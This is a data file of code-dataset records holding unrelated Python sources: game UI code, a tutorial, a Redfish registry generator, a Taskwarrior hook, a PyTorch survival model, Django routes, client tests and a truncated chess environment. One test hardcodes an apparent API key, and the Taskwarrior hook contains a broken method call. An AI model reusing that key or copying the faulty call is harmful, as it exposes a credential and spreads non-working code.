self.as_setTankmenS({'tankmenCount': self.__getTankmenCountStr(tankmenInSlots=tankmenInSlots, totalCount=len(allTankmen)),\n 'placesCount': self.__getPlaceCountStr(free=max(slots - tankmenInBarracks, 0), totalCount=slots),\n 'placesCountTooltip': None,\n 'tankmenData': tankmenList,\n 'hasNoInfoData': False})\n return\n\n def __showDismissedTankmen(self, criteria):\n allTankmen = self.restore.getDismissedTankmen()\n tankmenList = list()\n for tankman in allTankmen:\n if not criteria(tankman):\n continue\n skillsList = []\n for skill in tankman.skills:\n skillsList.append({'tankmanID': tankman.invID,\n 'id': str(tankman.skills.index(skill)),\n 'name': skill.userName,\n 'desc': skill.description,\n 'icon': skill.icon,\n 'level': skill.level,\n 'active': skill.isEnable and skill.isActive})\n\n newSkillsCount, lastNewSkillLvl = tankman.newSkillCount\n if newSkillsCount > 0:\n skillsList.append({'buy': True,\n 'buyCount': newSkillsCount - 1,\n 'tankmanID': tankman.invID,\n 'level': lastNewSkillLvl})\n restoreInfo = getTankmenRestoreInfo(tankman)\n actionBtnTooltip = makeTooltip(TOOLTIPS.BARRACKS_TANKMEN_RECOVERYBTN_HEADER, getRecoveryStatusText(restoreInfo))\n tankmanData = _packTankmanData(tankman)\n tankmanData.update({'isRankNameVisible': False,\n 'recoveryPeriodText': _makeRecoveryPeriodText(restoreInfo),\n 'actionBtnLabel': MENU.BARRACKS_BTNRECOVERY,\n 'actionBtnTooltip': actionBtnTooltip,\n 'skills': skillsList,\n 'isSkillsVisible': True})\n tankmenList.append(tankmanData)\n\n placeCount = self.restore.getMaxTankmenBufferLength()\n hasNoInfoData, noInfoData = self.__getNoInfoData(totalCount=len(allTankmen), filteredCount=len(tankmenList))\n self.as_setTankmenS({'tankmenCount': self.__getTankmenCountStr(tankmenInSlots=len(tankmenList), totalCount=len(allTankmen)),\n 'placesCount': self.__getPlaceCountStr(free=icons.info(), totalCount=placeCount),\n 'placesCountTooltip': self.__getPlacesCountTooltip(placeCount=placeCount),\n 'tankmenData': tankmenList,\n 'hasNoInfoData': hasNoInfoData,\n 'noInfoData': noInfoData})\n\n def __updateNotRecruitedTankmen(self, *args):\n self.__updateNotRecruitedTankmenField()\n if self.filter['location'] == BARRACKS_CONSTANTS.LOCATION_FILTER_NOT_RECRUITED:\n self.__updateTankmen()\n recruit_helper.setNewRecruitsVisited()\n else:\n self.__updateRecruitNotification()\n\n def __updateNotRecruitedTankmenField(self):\n self.__notRecruitedTankmen = []\n for recruitInfo in recruit_helper.getAllRecruitsInfo(sortByExpireTime=True):\n self.__notRecruitedTankmen.append(_packNotRecruitedTankman(recruitInfo))\n\n def __showNotRecruitedTankmen(self):\n count = len(self.__notRecruitedTankmen)\n hasNoInfoData, noInfoData = self.__getNoInfoData(totalCount=count, filteredCount=count)\n self.as_setTankmenS({'tankmenCount': self.__getTankmenCountStr(totalCount=count),\n 'placesCount': '',\n 'placesCountTooltip': None,\n 'tankmenData': self.__notRecruitedTankmen,\n 'hasNoInfoData': hasNoInfoData,\n 'noInfoData': noInfoData})\n return\n\n def __getNoInfoData(self, totalCount=0, filteredCount=0):\n hasNoInfoData = filteredCount < 1\n noInfoData = None\n if hasNoInfoData:\n if self.filter['location'] == BARRACKS_CONSTANTS.LOCATION_FILTER_DISMISSED:\n if totalCount < 1:\n tankmenRestoreConfig = self.itemsCache.items.shop.tankmenRestoreConfig\n freeDays = tankmenRestoreConfig.freeDuration / time_utils.ONE_DAY\n billableDays = tankmenRestoreConfig.billableDuration / time_utils.ONE_DAY - freeDays\n noInfoData = {'title': text_styles.highTitle(MENU.BARRACKS_NORECOVERYTANKMEN_TITLE),\n 'message': text_styles.main(_ms(MENU.BARRACKS_NORECOVERYTANKMEN_MESSAGE, price=moneyWithIcon(tankmenRestoreConfig.cost), totalDays=freeDays + billableDays, freeDays=freeDays, paidDays=billableDays))}\n else:\n noInfoData = {'message': text_styles.main(MENU.BARRACKS_NOFILTEREDRECOVERYTANKMEN_MESSAGE)}\n elif self.filter['location'] == BARRACKS_CONSTANTS.LOCATION_FILTER_NOT_RECRUITED:\n noInfoData = {'title': text_styles.highTitle(MENU.BARRACKS_NONOTRECRUITEDTANKMEN_TITLE),\n 'message': text_styles.main(MENU.BARRACKS_NONOTRECRUITEDTANKMEN_MESSAGE)}\n return (hasNoInfoData, noInfoData)\n\n def __getPlaceCountStr(self, free=0, totalCount=0):\n if self.filter['location'] == BARRACKS_CONSTANTS.LOCATION_FILTER_DISMISSED:\n result = _ms(MENU.BARRACKS_RECOVERYCOUNT, info=free, total=totalCount)\n elif self.filter['location'] == BARRACKS_CONSTANTS.LOCATION_FILTER_NOT_RECRUITED:\n result = ''\n else:\n result = _ms(MENU.BARRACKS_PLACESCOUNT, free=free, total=totalCount)\n return text_styles.playerOnline(result) if result else ''\n\n def __getPlacesCountTooltip(self, placeCount):\n return makeTooltip(TOOLTIPS.BARRACKS_PLACESCOUNT_DISMISS_HEADER, _ms(TOOLTIPS.BARRACKS_PLACESCOUNT_DISMISS_BODY, placeCount=placeCount)) if self.filter['location'] == BARRACKS_CONSTANTS.LOCATION_FILTER_DISMISSED else None\n\n def __getTankmenCountStr(self, tankmenInSlots=0, totalCount=0):\n if self.filter['location'] == BARRACKS_CONSTANTS.LOCATION_FILTER_DISMISSED:\n result = _ms(MENU.BARRACKS_DISMISSEDTANKMENCOUNT, curValue=tankmenInSlots, total=totalCount)\n elif self.filter['location'] == BARRACKS_CONSTANTS.LOCATION_FILTER_NOT_RECRUITED:\n result = _ms(MENU.BARRACKS_NOTRECRUITEDCOUNT, total=totalCount)\n else:\n result = _ms(MENU.BARRACKS_TANKMENCOUNT, curValue=tankmenInSlots, total=totalCount)\n return text_styles.playerOnline(result)\n\n def __buildCriteria(self):\n criteria = REQ_CRITERIA.EMPTY\n if self.filter['nation'] != -1:\n criteria |= REQ_CRITERIA.NATIONS([self.filter['nation']])\n if self.filter['role'] != 'None':\n criteria |= REQ_CRITERIA.TANKMAN.ROLES(self.filter['role'])\n if self.filter['tankType'] != 'None':\n criteria |= REQ_CRITERIA.CUSTOM(lambda tankman: tankman.vehicleNativeType == self.filter['tankType'])\n if self.filter['location'] == BARRACKS_CONSTANTS.LOCATION_FILTER_TANKS or self.filter['location'] == '':\n criteria |= REQ_CRITERIA.TANKMAN.IN_TANK\n elif self.filter['location'] == BARRACKS_CONSTANTS.LOCATION_FILTER_BARRACKS:\n criteria |= ~REQ_CRITERIA.TANKMAN.IN_TANK\n if self.filter['nationID'] is not None:\n vehicle = self.itemsCache.items.getItem(GUI_ITEM_TYPE.VEHICLE, int(self.filter['nationID']), int(self.filter['location']))\n criteria |= REQ_CRITERIA.TANKMAN.NATIVE_TANKS([vehicle.intCD])\n return criteria\n\n def __updateDismissedTankmen(self):\n if self.filter['location'] == BARRACKS_CONSTANTS.LOCATION_FILTER_DISMISSED:\n self.__showDismissedTankmen(self.__buildCriteria())\n\n def __switchTankmanFiltersEnable(self, value):\n self.as_switchFilterEnableS(nationEnable=value, roleEnable=value, typeEnable=value)\n\n def __updateRecruitNotification(self):\n counter = recruit_helper.getNewRecruitsCounter()\n self.__setCountersData(RECRUIT_NOTIFICATIONS, counter)\n\n def __setCountersData(self, preferenceName, counter):\n counters = [_packCounterVO(componentId=_COUNTERS_MAP[preferenceName][0], count=str(counter) if counter else '', selectedIdx=_COUNTERS_MAP[preferenceName][1])]\n self.as_setCountersDataS(countersData=counters)\n\n def __setVisited(self, preferenceName):\n if preferenceName == RECRUIT_NOTIFICATIONS:\n recruit_helper.setNewRecruitsVisited()\n","sub_path":"source/res/scripts/client/gui/scaleform/daapi/view/lobby/barracks/barracks.py","file_name":"barracks.py","file_ext":"py","file_size_in_byte":25197,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"186681494","text":"# comparisons with if statements in python\r\ndef max_num(num1, num2, num3): # function that returns biggest value\r\n if num1 >= num2 and num1 >= num3: # 2 conditions with in essence a boolean value (true or false)\r\n return num1\r\n elif num2 >= num1 and num2 >= num3: # >= means: 'greater than or equal to'\r\n return num2\r\n else: # if it's not num1 or num2, then it must be num3\r\n return num3\r\n\r\nprint(max_num(3, 40, 5))\r\n\r\n# in the example numerical values are compared,\r\n# it is also possible to compare strings(if \"dog\" == \"dog\") and true boolean values (if True == True)\r\n# signs for comparisons:\r\n# == is equal to\r\n# >= greater than or equal to\r\n# <= less than or equal to\r\n# != not equal to\r\n","sub_path":"full_python_ifcomparisons13.py","file_name":"full_python_ifcomparisons13.py","file_ext":"py","file_size_in_byte":723,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"272831197","text":"#!/usr/bin/python3\nimport requests\nimport zipfile\nfrom io import BytesIO\nimport os\nfrom collections import defaultdict\nfrom collections import OrderedDict\nfrom distutils.version import StrictVersion\nimport shutil\nimport json\nimport glob\nimport subprocess\n\nimport xml.etree.ElementTree as ET\n\nREGISTRY_HEADER = '''/*\n// Copyright (c) 2020 Intel Corporation\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n*/\n/****************************************************************\n * This is an auto-generated header which contains definitions\n * for Redfish DMTF defined messages.\n ***************************************************************/\n#pragma once\n#include \n\nnamespace redfish::message_registries::{}\n{{\n'''\n\nSCRIPT_DIR = os.path.dirname(os.path.realpath(__file__))\n\ninclude_path = os.path.realpath(\n os.path.join(\n SCRIPT_DIR,\n \"..\",\n \"redfish-core\",\n \"include\",\n \"registries\"))\n\nproxies = {\n 'https': os.environ.get(\"https_proxy\", None)\n}\n\n\ndef make_getter(dmtf_name, header_name, type_name):\n url = 'https://redfish.dmtf.org/registries/{}'.format(dmtf_name)\n dmtf = requests.get(url, proxies=proxies)\n dmtf.raise_for_status()\n json_file = json.loads(dmtf.text)\n path = os.path.join(include_path, header_name)\n return (path, json_file, type_name, url)\n\n\nfiles = []\nfiles.append(make_getter('Base.1.8.1.json',\n 'base_message_registry.hpp', 'base'))\nfiles.append(make_getter('TaskEvent.1.0.2.json',\n 'task_event_message_registry.hpp', 'task_event'))\n\n# Remove the old files\nfor file, json, namespace, url in files:\n try:\n os.remove(file)\n except BaseException:\n print(\"{} not found\".format(file))\n\n with open(file, 'w') as registry:\n registry.write(REGISTRY_HEADER.format(namespace))\n # Parse the Registry header info\n registry.write(\"const Header header = {\")\n registry.write(\"\\\"{}\\\",\".format(json[\"@Redfish.Copyright\"]))\n registry.write(\"\\\"{}\\\",\".format(json[\"@odata.type\"]))\n registry.write(\"\\\"{}\\\",\".format(json[\"Id\"]))\n registry.write(\"\\\"{}\\\",\".format(json[\"Name\"]))\n registry.write(\"\\\"{}\\\",\".format(json[\"Language\"]))\n registry.write(\"\\\"{}\\\",\".format(json[\"Description\"]))\n registry.write(\"\\\"{}\\\",\".format(json[\"RegistryPrefix\"]))\n registry.write(\"\\\"{}\\\",\".format(json[\"RegistryVersion\"]))\n registry.write(\"\\\"{}\\\",\".format(json[\"OwningEntity\"]))\n registry.write(\"};\")\n\n registry.write('constexpr const char * url = \"{}\";\\n\\n'.format(url))\n # Parse each Message entry\n registry.write(\"constexpr std::array registry = {{\".format(\n len(json[\"Messages\"])))\n for messageId, message in sorted(json[\"Messages\"].items()):\n registry.write(\"MessageEntry{\")\n registry.write(\"\\\"{}\\\",\".format(messageId))\n registry.write(\"{\")\n registry.write(\"\\\"{}\\\",\".format(message[\"Description\"]))\n registry.write(\"\\\"{}\\\",\".format(message[\"Message\"]))\n registry.write(\"\\\"{}\\\",\".format(message[\"Severity\"]))\n registry.write(\"\\\"{}\\\",\".format(message[\"MessageSeverity\"]))\n registry.write(\"{},\".format(message[\"NumberOfArgs\"]))\n registry.write(\"{\")\n paramTypes = message.get(\"ParamTypes\")\n if paramTypes:\n for paramType in paramTypes:\n registry.write(\"\\\"{}\\\",\".format(paramType))\n registry.write(\"},\")\n registry.write(\"\\\"{}\\\",\".format(message[\"Resolution\"]))\n registry.write(\"}},\")\n registry.write(\"};}\\n\")\n subprocess.check_call([\"clang-format-10\", \"-i\", file])\n","sub_path":"openbmc_modules/bmcweb/scripts/parse_registries.py","file_name":"parse_registries.py","file_ext":"py","file_size_in_byte":4246,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"113234955","text":"#!/usr/bin/python\nfrom __future__ import print_function\nfrom datetime import time, datetime, timedelta\nfrom tasklib import Task, local_zone, TaskWarrior\nfrom pytz import timezone, utc\n\n# DEFAULT_TIME = time(22,0,0) # Your wanted default time\nconf = TaskWarrior().config\n\ndef get_conf_value(config, value, default, process=(lambda x: x)):\n if value in config:\n if isinstance(default, bool):\n if config[value].lower() in ['true', '1', 'yes']:\n return True\n else: return False\n else: return process(config[value])\n else: return default\n\ndefault_time = get_conf_value(conf, 'default.time', \n time(0,0,0), \n (lambda t: datetime.strptime(t, u'%H:%M').time()))\n\ndef is_local_midnight(timestamp):\n return timestamp.astimezone(local_zone).time() == time(0,0,0)\n\ndef set_default_time(timestamp):\n return timestampastimezone(local_zone).replace(\n hour=default_time.hour,\n minute=default_time.minute,\n second=default_time.second,\n )\n\ndef hook_default_time(task):\n if task['due'] and is_local_midnight(task['due']):\n task['due'] = set_default_time(task['due'])\n print(\"Default due time has been set.\")\n\nif __name__ == '__main__':\n print(default_time)\n","sub_path":"pirate_add_default_time.py","file_name":"pirate_add_default_time.py","file_ext":"py","file_size_in_byte":1264,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"210026191","text":"from tkinter import *\n\nwindow = Tk()\nwindow.title(\"Layout Exercise\")\nwindow.minsize(width=500, height=300)\n\n# Add Padding\nwindow.config(padx=30, pady=30)\n\n# Divide screen in 3 x 4 grid\n\n# Label (0,0)\nlabel = Label(text=\"Exercise Label\", font=(\"Arial\", 24, \"bold\"))\nlabel.grid(row=0, column=0)\n\n# Button (1, 1)\nbutton = Button(text=\"Click Me\")\nbutton.grid(row=1, column=1)\n\n# New Button (0, 2)\nnew_button = Button(text=\"Click Me too!\")\nnew_button.grid(row=0, column=2)\n\n# Entry (2, 3)\nentry = Entry()\nentry.grid(row=2, column=3)\n\nwindow.mainloop()","sub_path":"section_04_intermediate/lesson_06_tkinter_args_and_kwargs/08_layout_exercise.py","file_name":"08_layout_exercise.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"639805229","text":"import os\nimport sys\nimport cv2\nimport h5py\nimport torch\nimport torchvision\nimport numpy as np\nimport pandas as pd\nimport matplotlib as mpl\nmpl.use('AGG')\nimport matplotlib.pyplot as plt\nfrom PIL import Image\nfrom sklearn import metrics\nfrom scipy import io, signal\nfrom collections import Counter\nfrom lifelines.utils import concordance_index\nfrom torchvision.transforms import *\nfrom torchvision.datasets import ImageFolder\nfrom torch.utils.data import WeightedRandomSampler, BatchSampler, DataLoader, RandomSampler\nif os.path.exists(\"/wangshuo/zhaox\"):\n root = \"/wangshuo/zhaox\" \nelse:\n root = \"/home/tongxueqing/zhao\"\n torch.nn.Module.dump_patches = True\n# os.environ[\"CUDA_VISIBLE_DEVICES\"] = \"0\"\n\ndef print_to_out(*args):\n with open(outfile, 'a') as f:\n f.write(' '.join([str(arg) for arg in args]))\n f.write('\\n')\n\nclass SurvLoss(torch.nn.Module):\n def __init__(self):\n super(SurvLoss, self).__init__()\n pass\n\n def forward(self, Yhat, Y):\n Yhat = torch.squeeze(Yhat); Y = torch.squeeze(Y)\n order = torch.argsort(Y)\n Y = Y[order]; Yhat = Yhat[order]\n E = (Y > 0).float(); T = torch.abs(Y)\n Yhr = torch.log(torch.cumsum(torch.exp(Yhat), dim = 0))\n obs = torch.sum(E)\n Es = torch.zeros_like(E); Yhrs = torch.zeros_like(Yhr)\n j = 0\n for i in range(1, len(T)):\n if T[i] != T[i - 1]:\n Es[i - 1] = torch.sum(E[j:i])\n Yhrs[i - 1] = torch.max(Yhr[j:i])\n j = i\n Es[-1] = torch.sum(E[j:]); Yhrs[-1] = torch.max(Yhr[j:])\n loss2 = torch.sum(torch.mul(Es, Yhrs))\n loss1 = torch.sum(torch.mul(Yhat, E))\n loss = torch.div(torch.sub(loss2, loss1), obs)\n return loss\n\nclass SurvDataset(torch.utils.data.Dataset):\n def __init__(self, nameidx, set_pat, label):\n super(SurvDataset, self).__init__()\n pat = set_pat == nameidx\n self.index = np.array(list(range(len(pat))))[pat]\n self.label = label\n self.length = len(self.index)\n\n def __getitem__(self, i):\n return self.index[i], self.label[self.index[i]]\n\n def __len__(self):\n return self.length\n \nclass Data(object):\n def __init__(self, h5path):\n h5 = h5py.File(h5path, 'r')\n self.set_pat = h5['set_pat'][:]\n self.pat_fig = h5['pat_fig'][:]\n self.tps = h5['tps'][:]\n self.label = h5['label'][:]\n self.data = h5['data']\n self.names = ['train', 'val', 'test']\n\n def load(self, batch_size, ratio = [0.8, 0.1, 0.1]):\n datasets = {name: SurvDataset(i, self.set_pat, self.label) for i, name in enumerate(self.names)}\n loaders = {name: DataLoader(datasets[name], batch_size = batch_size if name == 'train' else 1, shuffle = name == 'train') for name in self.names}\n mapdic = {i: np.array(list(range(len(self.pat_fig[i]))))[self.pat_fig[i]] for i in range(len(self.pat_fig))}\n return loaders, mapdic, self.data\n\nclass SurvNet(torch.nn.Module):\n def __init__(self, savedmodel, layer, p):\n super(SurvNet, self).__init__()\n self.prenet = torch.load(savedmodel)\n res = next(self.prenet.children())\n res.fc = torch.nn.Identity()\n self.fc1 = torch.nn.Linear(in_features = 512, out_features = layer, bias = True)\n self.th1 = torch.nn.Tanh()\n self.dr1 = torch.nn.Dropout(p)\n self.fc2 = torch.nn.Linear(in_features = layer, out_features = 1, bias = True)\n self.th2 = torch.nn.Tanh()\n\n def fc(self, x):\n x = self.fc1(x)\n x = self.th1(x)\n x = self.dr1(x)\n x = self.fc2(x)\n x = self.th2(x)\n return x\n\n def forward(self, x):\n x = self.prenet(x)\n x = self.fc(x)\n return x\n\nclass Train(object):\n def __init__(self, savedmodel, h5path, infopath, lr, batch_size, epochs, layer, p, weight_decay, gpus = [0], lrstep = 100, cbstep = 10, figpath = None, mission = 'Surv'):\n self.savedmodel = savedmodel\n self.layer = layer\n self.p = p\n self.weight_decay = weight_decay\n self.gpus = gpus\n self.net = self.__load_net(mission)\n self.loss = SurvLoss()\n self.loaders, self.mapdic, self.data = Data(h5path).load(batch_size)\n self.lr = lr\n self.epochs = epochs\n self.opt = torch.optim.SGD(self.net.parameters(), lr = self.lr, momentum = 0.9, nesterov = True, weight_decay = self.weight_decay)\n self.lrstep = lrstep\n self.cbstep = cbstep\n\n def __lr_step(self, i):\n if i % self.lrstep == 0 and i != 0:\n self.lr /= 10\n self.opt = torch.optim.SGD(self.net.parameters(), lr = self.lr, momentum = 0.9, nesterov = True, weight_decay = self.weight_decay)\n\n def __load_net(self, mission):\n if mission == 'Surv':\n net = SurvNet(self.savedmodel, self.layer, self.p)\n for p in net.parameters():\n p.requires_grad = False\n for subnet in [net.fc1, net.fc2]:\n for p in subnet.parameters():\n p.requires_grad = True\n else:\n net = torch.load(self.savedmodel)\n net = torch.nn.DataParallel(net, device_ids = self.gpus)\n net = net.cuda()\n return net\n\n def __get_instance(self, pats, istrain):\n with torch.no_grad():\n self.net.eval()\n x = None\n y = np.zeros(len(pats))\n for j, pat in enumerate(pats):\n patx = torch.FloatTensor(self.__get_x(pat)).cuda()\n patyhat = self.net(patx)\n maxidx = torch.argmax(patyhat)\n if x is None:\n x = torch.zeros((len(pats), *patx.shape[1:])).cuda()\n x[j] = patx[maxidx]\n y[j] = float(torch.max(patyhat, dim = 0).values)\n return x if istrain else y\n\n def __get_x(self, pat):\n return self.data[self.mapdic[int(pat)]]\n\n def __call_back(self, i):\n if i % self.cbstep != 0:\n return\n out = \"%d\" % i\n for name, loader in self.loaders.items():\n Y = np.zeros(len(loader.dataset))\n Yhat = np.zeros(len(loader.dataset))\n i = 0\n for pats, y in loader:\n Y[i:i + len(y)] = y\n Yhat[i:i + len(y)] = self.__get_instance(pats, False)\n i += len(y)\n ci = concordance_index(np.abs(Y), -Yhat, np.where(Y > 0, 1, 0))\n out += \" | %s: %.3f\" % (name, ci)\n print_to_out(out)\n\n def train(self):\n for i in range(self.epochs):\n for pats, y in self.loaders['train']:\n x = self.__get_instance(pats, True)\n y = y.cuda()\n self.net.train()\n self.opt.zero_grad()\n yhat = self.net(x)\n cost = self.loss(yhat, y)\n cost.backward()\n self.opt.step()\n self.__call_back(i)\n self.__lr_step(i)\n torch.save(self.net, modelpath)\n\nif __name__ == \"__main__\":\n global modelpath; global plotpath; global matpath; global outfile\n modelpath, plotpath, matpath, outfile = sys.argv[1:5]\n\n params = {\n \"savedmodel\": os.path.join(root, \"ImageProcessing/stain_classification/_models/success.Oct.31_16:49.model\"),\n \"h5path\": os.path.join(root, \"ImageProcessing/survival_analysis/_data/compiled.h5\"),\n \"infopath\": os.path.join(root, \"ImageProcessing/survival_analysis/_data/merged.csv\"),\n \"figpath\": os.path.join(root, \"ImageProcessing/stain_classification/_data/subsets\"),\n \"lr\": 7e-4,\n \"batch_size\": 64,\n \"epochs\": 20,\n \"gpus\": [0],\n \"lrstep\": 70,\n \"cbstep\": 1,\n \"layer\": 100,\n \"p\": 0.5,\n \"weight_decay\":6e-4,\n \"mission\": \"Surv\"\n }\n for key, value in params.items():\n print_to_out(key, \":\", value)\n Train(**params).train()","sub_path":"survival_analysis/4_full_training.py","file_name":"4_full_training.py","file_ext":"py","file_size_in_byte":7935,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"447831384","text":"import numpy as np\nimport cv2\n\ndrawing = False\nix,iy=-1,-1\nfx,fy=-1,-1\n\ndef draw_rectangle(event,x,y,flags,param):\n global ix,iy,fx,fy,drawing\n\n if event == cv2.EVENT_LBUTTONDOWN:\n drawing = True\n ix,iy=x,y\n fx,fy = x,y \n elif event == cv2.EVENT_MOUSEMOVE:\n if drawing == True:\n fx,fy = x,y\n elif event == cv2.EVENT_LBUTTONUP:\n drawing = False\n fx,fy = x,y \n\ndef draw():\n img_og = np.zeros((512,512,3),np.uint8)\n cv2.namedWindow('image')\n cv2.setMouseCallback('image',draw_rectangle)\n\n while(1):\n img = img_og.copy()\n cv2.rectangle(img,(ix,iy),(fx,fy),(0,255,0),1)\n cv2.imshow('image',img)\n k = cv2.waitKey(1) & 0xFF\n if k == 27 :\n break\n cv2.destroyAllWindows()\n\nif __name__ == \"__main__\":\n draw()\n","sub_path":"DrawRectangle/drawRectangle.py","file_name":"drawRectangle.py","file_ext":"py","file_size_in_byte":831,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"80319799","text":"\nfrom django.urls import path\nfrom . import views\n\napp_name='learning_logs'\nurlpatterns = [\n\tpath('',views.index, name='index'),\n\tpath('topics/', views.topics, name='topics'),\n\tpath(\"topics/(?\\d+)/\",views.topic,name='topic'),\n\tpath('new_topic/',views.new_topic,name='new_topic'),\n\tpath('show_entry/(?\\d+)/',views.show_entry,name='show_entry'),\n\tpath('new_entry/(?\\d+)/',views.new_entry,name='new_entry'),\n\tpath('edit_entry/(?\\d+)/',views.edit_entry,name='edit_entry'),\n\t# ~ path('del_entry/(?\\d+)/',views.del_entry,name='del_entry'),\n\tpath('entry_date//',views.entry_date,name='entry_date'),\n]\n","sub_path":"learning_logs/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"32049340","text":"import unittest\nimport xml.etree.ElementTree as ET\nfrom bipbop.client import WebService\nfrom bipbop.client import ServiceDiscovery\n\nclass BipbopTest(unittest.TestCase):\n @classmethod\n def setUpClass(cls):\n cls.ws = WebService('907703004bbdd0a7f11e0398b5f200ac')\n cls.sd = ServiceDiscovery.factory(cls.ws)\n\n def test_basicWebservice(self):\n xml = self.ws.post(\"SELECT FROM 'PLACA'.'CONSULTA'\", {'placa': 'OGD1557'})\n self.assertFalse(xml is None)\n\n def test_listDatabase(self): \n self.assertTrue(len(list(self.sd.list_databases())) > 0)\n\n def test_getDbName(self):\n db = self.sd.get_database('CORREIOS')\n self.assertEqual('CORREIOS', db.name())\n\n def test_getTableName(self):\n db = self.sd.get_database('CORREIOS')\n table = db.get_table('CONSULTA')\n self.assertEqual('CONSULTA', table.name())\n\n def test_getFieldName(self):\n db = self.sd.get_database('CORREIOS')\n table = db.get_table('CONSULTA')\n self.assertEqual('cep', list(table.get_fields())[0].name())\n\n def test_traverseDb(self):\n for db in self.sd.list_databases():\n self.assertIsNotNone(db.get('name'))\n odb = self.sd.get_database(db.get('name'))\n self.assertIsNotNone(odb) \n for table in odb.list_tables():\n self.assertIsNotNone(table.get('name'))\n otb = odb.get_table(table.get('name'))\n self.assertIsNotNone(otb) \n for field in otb.get_fields():\n self.assertIsNotNone(field.name())\n\nif __name__ == '__main__':\n suite = unittest.TestLoader().loadTestsFromTestCase(BipbopTest)\n unittest.TextTestRunner(verbosity=2).run(suite)","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1768,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"90091207","text":"'''\nCreated on 10-Nov-2013\n\n@author: Mourjo\n'''\ndef sqrt1(x):\n if x == 0:\n return 0\n x1 = sqrt1(x - 1)\n if ((x1 + 1) * (1 + x1)) == x: \n return 1 + x1\n else:\n return x1\n \nfor i in range(200):\n print(i,sqrt1(i))","sub_path":"sqrtPR.py","file_name":"sqrtPR.py","file_ext":"py","file_size_in_byte":250,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"236996298","text":"\n\nfrom xai.brain.wordbase.adjectives._scruffy import _SCRUFFY\n\n#calss header\nclass _SCRUFFIEST(_SCRUFFY, ):\n\tdef __init__(self,): \n\t\t_SCRUFFY.__init__(self)\n\t\tself.name = \"SCRUFFIEST\"\n\t\tself.specie = 'adjectives'\n\t\tself.basic = \"scruffy\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/adjectives/_scruffiest.py","file_name":"_scruffiest.py","file_ext":"py","file_size_in_byte":259,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"485550835","text":"import chess\nimport chess.svg\nimport chess.pgn\nimport numpy as np\n\nmapper = {}\nmapper[\"p\"] = 0\nmapper[\"r\"] = 1\nmapper[\"n\"] = 2\nmapper[\"b\"] = 3\nmapper[\"q\"] = 4\nmapper[\"k\"] = 5\nmapper[\"P\"] = 0\nmapper[\"R\"] = 1\nmapper[\"N\"] = 2\nmapper[\"B\"] = 3\nmapper[\"Q\"] = 4\nmapper[\"K\"] = 5\n\ndef compose_move(move_from, move_to):\n return chess.Move(move_from, move_to)\n\n\nclass Board(object):\n\n def __init__(self, FEN=None):\n \"\"\"\n Chess Board Environment\n Args:\n FEN: str\n Starting FEN notation, if None then start in the default chess position\n \"\"\"\n self.FEN = FEN\n self.board = chess.Board(self.FEN) if self.FEN else chess.Board()\n self.init_action_space()\n self.layer_board = np.zeros(shape=(8, 8, 8))\n self.init_layer_board()\n\n def init_action_space(self):\n \"\"\"\n Initialize the action space\n Returns:\n\n \"\"\"\n self.action_space = np.zeros(shape=(64, 64))\n\n def init_layer_board(self):\n \"\"\"\n Initalize the numerical representation of the environment\n Returns:\n\n \"\"\"\n self.layer_board = np.zeros(shape=(8, 8, 8))\n for i in range(64):\n row = i // 8\n col = i % 8\n piece = self.board.piece_at(i)\n if piece == None:\n continue\n elif piece.symbol().isupper():\n sign = 1\n else:\n sign = -1\n layer = mapper[piece.symbol()]\n self.layer_board[layer, row, col] = sign\n if self.board.turn:\n self.layer_board[6, :, :] = 1 / self.board.fullmove_number\n if self.board.can_claim_draw():\n self.layer_board[7, :, :] = 1\n \n def state(self):\n \"\"\"\n Get state of board\n \"\"\"\n return self.layer_board\n \n def to_pgn(self):\n return chess.pgn.Game.from_board(self.board)\n \n def to_svg(self):\n return chess.svg.board(board = self.board, size=400)\n \n def to_file(self, file_loc):\n \"\"\"\n Writes pgn of board to file for easy visualisation.\n \"\"\"\n with open(file_loc, \"w\") as f:\n f.write(str(self.to_pgn()))\n \n def determine_winner(self):\n \"\"\"\n positive is white wins, negative is black wins, zero is remise.\n \"\"\"\n return self.get_material_value()\n\n\n def step(self, action):\n \"\"\"\n Run a step from an Agent.\n Args:\n action: tuple of 2 integers\n Move from, Move to\n\n Returns:\n epsiode end: Boolean\n Whether the episode has ended\n reward: int\n Difference in material value after the move\n \"\"\"\n piece_balance_before = self.get_material_value()\n self.board.push(action)\n self.init_layer_board()\n piece_balance_after = self.get_material_value()\n if self.board.result() == \"*\":\n capture_reward = piece_balance_after - piece_balance_before\n if self.board.result() == \"*\":\n reward = 0 + capture_reward\n episode_end = False\n else:\n reward = 0 + capture_reward\n episode_end = True\n else:\n capture_reward = piece_balance_after - piece_balance_before\n reward = 0 + capture_reward\n episode_end = True\n if self.board.is_game_over():\n reward = 0\n episode_end = True\n return episode_end, reward\n\n def get_random_action(self):\n \"\"\"\n Sample a random action\n Returns: move\n A legal python chess move.\n\n \"\"\"\n legal_moves = [x for 